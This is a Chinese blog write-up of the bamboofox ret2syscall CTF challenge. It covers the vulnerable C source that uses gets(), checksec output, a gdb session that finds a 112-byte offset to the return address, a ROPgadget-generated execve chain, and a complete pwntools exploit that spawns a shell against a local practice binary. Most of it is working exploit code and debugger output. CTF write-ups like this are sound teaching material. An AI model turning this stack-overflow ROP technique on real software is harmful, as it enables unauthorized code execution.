bamboofox-ret2syscall
2018/06/18 Pwn writeup CTFwiki ROP

程序源码

#include <stdio.h>
#include <stdlib.h>

char *shell = "/bin/sh";

int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);

    char buf[100];

    printf("This time, no system() and NO SHELLCODE!!!\n");
    printf("What do you plan to do?\n");
    gets(buf);

    return 0;
}

检查程序

ios@ubuntu:~$ checksec rop
[*] '/home/ios/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ios@ubuntu:~$

NX开启

载入IDA分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);//存在漏洞
  return 0;
}

由于题目包含了libc所以可以直接使用ropchain getshell

本题有个不理解的点 就是v4的偏移 直接ida的偏移是错的 所以在此记录 正确偏移的分析方法
ida1
在gets处下断

gdb-peda$ b* 0x8048E96
Breakpoint 2 at 0x8048e96: file rop.c, line 15.

尝试运行到gets处

gdb-peda$ c
Continuing.
This time, no system() and NO SHELLCODE!!!
What do you plan to do?

[----------------------------------registers-----------------------------------]
EAX: 0xffffd04c --> 0x3 
EBX: 0x80481a8 (<_init>:    push   ebx)
ECX: 0x80eb4d4 --> 0x0 
EDX: 0x18 
ESI: 0x0 
EDI: 0x80ea00c --> 0x8067b10 (<__stpcpy_sse2>:    mov    edx,DWORD PTR [esp+0x4])
EBP: 0xffffd0b8 --> 0x8049630 (<__libc_csu_fini>:    push   ebx)
ESP: 0xffffd030 --> 0xffffd04c --> 0x3 
EIP: 0x8048e96 (<main+114>:    call   0x804f650 <gets>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048e8a <main+102>:    call   0x804f7e0 <puts>
   0x8048e8f <main+107>:    lea    eax,[esp+0x1c]
   0x8048e93 <main+111>:    mov    DWORD PTR [esp],eax
=> 0x8048e96 <main+114>:    call   0x804f650 <gets>
   0x8048e9b <main+119>:    mov    eax,0x0
   0x8048ea0 <main+124>:    leave  
   0x8048ea1 <main+125>:    ret    
   0x8048ea2:    xchg   ax,ax
Guessed arguments:
arg[0]: 0xffffd04c --> 0x3 
[------------------------------------stack-------------------------------------]
0000| 0xffffd030 --> 0xffffd04c --> 0x3 
0004| 0xffffd034 --> 0x0 
0008| 0xffffd038 --> 0x1 
0012| 0xffffd03c --> 0x0 
0016| 0xffffd040 --> 0x1 
0020| 0xffffd044 --> 0xffffd144 --> 0xffffd313 ("/home/ios/rop")
0024| 0xffffd048 --> 0xffffd14c --> 0xffffd321 ("XDG_VTNR=7")
0028| 0xffffd04c --> 0x3 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x08048e96 in main () at rop.c:15
15    in rop.c

此时 esp 0xffffd030

ebp 0xffffd0b8

因为 int v4; // [esp+1Ch] [ebp-64h]
所以 此时v4地址为 0xffffd04c

gdb-peda$ p/x 0xffffd030+0x1c
$3 = 0xffffd04c

接着计算v4到ebp的距离

gdb-peda$ p/x 0xffffd0b8-0xffffd04c
$6 = 0x6c
gdb-peda$ p/d 0xffffd0b8-0xffffd04c
$7 = 108

可以得到v4到ebp的偏移为108 所以到ret的偏移为108+4=112
接着使用ROPgadget生成ropchain

ROPgadget --binary rop –-ropchain

找到

#!/usr/bin/env python2
    # execve generated by ROPgadget

    from struct import pack

    # Padding goes here
    p = ''

    p += pack('<I', 0x0806eb6a) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080bb196) # pop eax ; ret
    p += '/bin'
    p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806eb6a) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080bb196) # pop eax ; ret
    p += '//sh'
    p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806eb6a) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x08054590) # xor eax, eax ; ret
    p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080ea060) # padding without overwrite ebx
    p += pack('<I', 0x0806eb6a) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x08054590) # xor eax, eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x0807b5bf) # inc eax ; ret
    p += pack('<I', 0x08049421) # int 0x80

接着改写为exp

exp


from pwn import *
from struct import pack
sh = process('./rop')
p = 'a'*112

p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x08049421) # int 0x80
sh.send(p)
sh.interactive()

运行成功获得shell
ida1

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!